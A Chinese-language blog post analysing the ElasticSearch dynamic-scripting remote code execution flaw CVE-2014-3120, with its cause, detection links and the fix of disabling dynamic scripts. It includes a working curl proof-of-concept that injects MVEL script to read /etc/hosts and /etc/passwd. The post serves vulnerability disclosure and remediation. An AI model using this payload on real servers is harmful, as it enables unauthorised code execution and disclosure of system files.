ElasticSearch远程任意代码执行漏洞(CVE-2014-3120)分析
来源:互联网 发布:淘宝极速退款没有了 编辑:程序博客网 时间:2024/05/21 09:11
原理
这个漏洞实际上非常简单,ElasticSearch有脚本执行(scripting)的功能,可以很方便地对查询出来的数据再加工处理。
ElasticSearch用的脚本引擎是MVEL,这个引擎没有做任何的防护,或者沙盒包装,所以直接可以执行任意代码。
而在ElasticSearch里,默认配置是打开动态脚本功能的,因此用户可以直接通过http请求,执行任意代码。
其实官方是清楚这个漏洞的,在文档里有说明:
First, you should not run Elasticsearch as the root user, as this would allow a script to access or do anything on your server, without limitations. Second, you should not expose Elasticsearch directly to users, but instead have a proxy application inbetween.
检测方法
在线检测:
http://tool.scanv.com/es.html 可以检测任意地址
http://bouk.co/blog/elasticsearch-rce/poc.html 只检测localhost,不过会输出/etc/hosts和/etc/passwd文件的内容到网页上
自己手动检测:
curl -XPOST 'http://localhost:9200/_search?pretty' -d '{ "size": 1, "query": { "filtered": { "query": { "match_all": {} } } }, "script_fields": { "/etc/hosts": { "script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/hosts\")).useDelimiter(\"\\\\Z\").next();" }, "/etc/passwd": { "script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/passwd\")).useDelimiter(\"\\\\Z\").next();" } }}'
处理办法
关掉执行脚本功能,在配置文件elasticsearch.yml里为每一个结点都加上:
script.disable_dynamic: true
http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html#_disabling_dynamic_scripts
官方会在1.2版本默认关闭动态脚本。
https://github.com/elasticsearch/elasticsearch/issues/5853
参考:
http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html
http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/search-request-script-fields.html
http://bouk.co/blog/elasticsearch-rce/
- ElasticSearch远程任意代码执行漏洞(CVE-2014-3120)分析
- Tomcat 远程代码执行漏洞分析(CVE-2017-12615)
- 漏洞预警+Samba远程代码执行漏洞(CVE-2017-7494)
- 技术文章 | CVE-2017-12615/CVE-2017-12616:Tomcat信息泄漏和远程代码执行漏洞分析报告
- Samba远程崩溃或代码执行漏洞(CVE-2015-0240)简要分析
- Linux版SMB远程代码执行漏洞(CVE-2017-7494)-SambaCry 分析报告
- Office远程代码执行漏洞POC样本分析(CVE-2017-11882)
- elasticsearch远程代码执行漏洞告警
- php cgi远程任意代码执行漏洞
- Struts2/XWork远程执行任意代码漏洞
- Samba CVE-2015-0240 远程代码执行漏洞利用实践
- Struts 2 远程代码执行漏洞(CVE-2016-0785)解决方案
- MySQL远程代码执行(CVE-2016-6662)漏洞预警
- Tomcat远程代码执行漏洞(CVE-2017-12615)
- 测试Tomcat CVE-2017-12615 远程代码执行漏洞
- BlueBorne远程代码执行漏洞Poc实战(CVE-2017-0781)
- Office CVE-2017-8570远程代码执行漏洞复现
- Supervisord远程命令执行漏洞分析(CVE-2017-11610)
- 排序入门(1)
- jar file 在eclipse运行成功 换命令行运行却出错
- Linux内核regulator架构和编写
- Android实现推送方式解决方案 - 长连接+心跳机制(MQTT协议)
- 黑马程序员_java面向对象思想学习总结
- ElasticSearch远程任意代码执行漏洞(CVE-2014-3120)分析
- Android推送方案分析(MQTT/XMPP/GCM)
- WebSocket学习笔记–IE,IOS,Android等设备的兼容性问题与代码实现
- dom4j 解析、修改、生成XML 文件
- 互联网推送服务原理:长连接+心跳机制(MQTT协议)
- SPOJ 3273 - Order statistic set , Treap
- 深入浅出mysqldump:常用操作、案例分享、意外终止的原因以及解决方法
- MySQL数据库mysqldump命令备份异常的一个案例
- 教您如何查看MySQL用户权限